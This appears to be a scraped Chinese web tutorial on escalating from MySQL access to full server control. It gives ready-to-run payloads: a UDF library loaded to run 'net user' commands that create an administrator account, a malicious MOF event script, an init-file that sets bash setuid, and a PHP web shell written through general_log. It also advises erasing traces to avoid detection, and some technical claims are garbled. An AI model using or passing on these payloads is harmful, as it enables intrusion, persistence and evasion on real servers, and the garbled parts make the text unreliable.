MySQL 提权是指在已获取 MySQL 数据库部分权限的情况下,通过特定操作提升权限至系统最高权限(如 root 或管理员权限),从而完全控制服务器,提权通常利用 MySQL 配置漏洞、函数漏洞、文件写入权限或系统配置缺陷实现,以下是常见的提权命令、方法及注意事项。

基于 UDF 提权(动态库提权)
UDF(User-Defined Function,用户自定义函数)提权是经典提权方式,通过向 MySQL 中插入恶意动态库文件(.dll 或 .so),调用系统执行命令函数(如 cmd、execve)实现权限提升。
前提条件:
- MySQL 具有 FILE 权限(可写入文件)
- 知道 MySQL 的安装路径(动态库存放位置,如 Windows 的
lib/plugin/、Linux 的plugin/目录) - 操作系统权限允许写入目标目录(Linux 下需 root 权限或目录可写,Windows 下可能需绕过 UAC)
操作步骤:
-
查找 MySQL 安装路径
通过select @@basedir;获取 MySQL 基础目录,C:\Program Files\MySQL\MySQL Server 8.0\或/usr/local/mysql/。 -
生成恶意动态库
使用 Metasploit 的mysql_payload生成对应系统的动态库,或手动编写 C 代码编译(如 Linux 下编写udf.c,包含sys_exec函数)。
(图片来源网络,侵删) -
上传动态库到插件目录
利用 MySQL 的INTO DUMPFILE或INTO OUTFILE写入文件,需确保目标目录可写:select '恶意动态库二进制流' into dumpfile 'C:/Program Files/MySQL/MySQL Server 8.0/lib/plugin/mysqludf.dll';
(Linux 下路径类似,如
/usr/local/mysql/lib/plugin/udf.so) -
创建恶意函数并执行命令
-- 创建函数(Windows 下为 dll,Linux 下为 so) create function sys_exec returns integer soname 'mysqludf.dll'; -- 执行系统命令(如添加用户) select sys_exec('net user test test123 /add'); select sys_exec('net localgroup administrators test /add');成功后可登录系统验证新增用户。
(图片来源网络,侵删)
MOF 提权(仅 Windows)
MOF(Managed Object Format)提权利用 Windows 的 c:\windows\system32\wbem\mof\ 目录下的 mof 文件(可被系统定期编译执行),通过 MySQL 写入恶意 MOF 文件触发命令执行。
前提条件:
- MySQL 具有 FILE 权限
- 目标目录
c:\windows\system32\wbem\mof\可写(通常需要管理员权限,但低版本 Windows 可能存在权限配置错误)
操作步骤:
-
生成恶意 MOF 文件
MOF 文件中可包含 VBScript 或 PowerShell 命令,#pragma namespace ("root\cimv2") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "Filter"; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \"Win32_LocalTime\" AND TargetInstance.Hour=12 AND TargetInstance.Minute=0 AND TargetInstance.Second=0"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "Consumer"; ScriptingEngine = "JScript"; ScriptText = "var WShell = new ActiveXObject(\"WScript.Shell\"); WShell.Run(\"net user test test123 /add && net localgroup administrators test /add\");"; }; instance of __FilterToConsumerBinding { Filter = $EventFilter; Consumer = $Consumer; }; -
写入 MOF 文件
select '恶意MOF文件内容' into dumpfile 'c:\windows\system32\wbem\mof\util.mof';
系统在下次编译 MOF 时会执行命令,实现提权。
启动脚本提权(Linux/通用)
通过修改 MySQL 的启动脚本(如 /etc/init.d/mysql、/usr/bin/mysqld_safe 或 my.cnf 配置文件),在 MySQL 启动时执行恶意命令。
前提条件:
- 具有写入 MySQL 启动脚本或配置文件的权限
- MySQL 服务可重启
操作步骤:
-
修改 my.cnf 配置文件
在[mysqld]段落添加init-connect=SET GLOBAL validate_password_policy=LOW;或直接写入命令:[mysqld] init-file=/tmp/malicious.sh
/tmp/malicious.sh为包含恶意命令的脚本(如chmod +s /bin/bash)。 -
重启 MySQL 服务
service mysql restart
重启后,
init-file中的命令会被执行,或通过init-connect触发漏洞。
其他提权方式
-
日志提权
利用 MySQL 的general_log或slow_query_log,将日志文件设置为可执行路径(如/var/www/html/shell.php),并写入恶意 PHP 代码,通过浏览器访问执行。set global general_log = 'ON'; set global general_log_file = '/var/www/html/shell.php'; select '<?php system($_GET["cmd"]); ?>' into dumpfile '/var/www/html/shell.php';
-
函数漏洞提权
旧版本 MySQL 存在函数漏洞(如CVE-2016-6662),通过调用特定函数(如extractvalue、updatexml)结合堆叠查询执行系统命令,需目标版本存在漏洞。
注意事项
- 提权操作需在授权环境下进行,非法提权可能违反法律法规。
- 不同 MySQL 版本、操作系统环境可能导致提权命令失效,需提前测试环境兼容性。
- 提权后需清理痕迹(如删除恶意文件、恢复配置文件),避免被检测。
相关问答 FAQs
Q1:MySQL 提权时,如何判断目标是否具备 UDF 提权条件?
A1:首先通过 select grant from mysql.user where user='当前用户'; 确认是否有 FILE 权限;然后通过 select @@basedir; 获取 MySQL 安装路径,并检查插件目录(如 lib/plugin/)的写权限(Linux 下可用 ls -l /usr/local/mysql/lib/plugin/ 查看,Windows 下需尝试写入测试文件),若同时满足 FILE 权限和插件目录可写,则具备 UDF 提权条件。
Q2:MySQL 提权失败后,如何排查常见原因?
A2:提权失败通常由以下原因导致:① 权限不足(如无 FILE 权限或目标目录不可写);② MySQL 版本与动态库不兼容(如高版本 MySQL 可能限制 UDF 加载);③ 操作系统防护(如 Windows 的 UAC、Linux 的 SELinux 阻止文件写入);④ 动态库文件格式错误(如 Windows 需 .dll 且为 32/64 位对应),排查时可通过 select version(); 确认版本,尝试写入测试文件验证目录权限,并检查系统日志(如 Linux 的 /var/log/messages)确认是否被拦截。
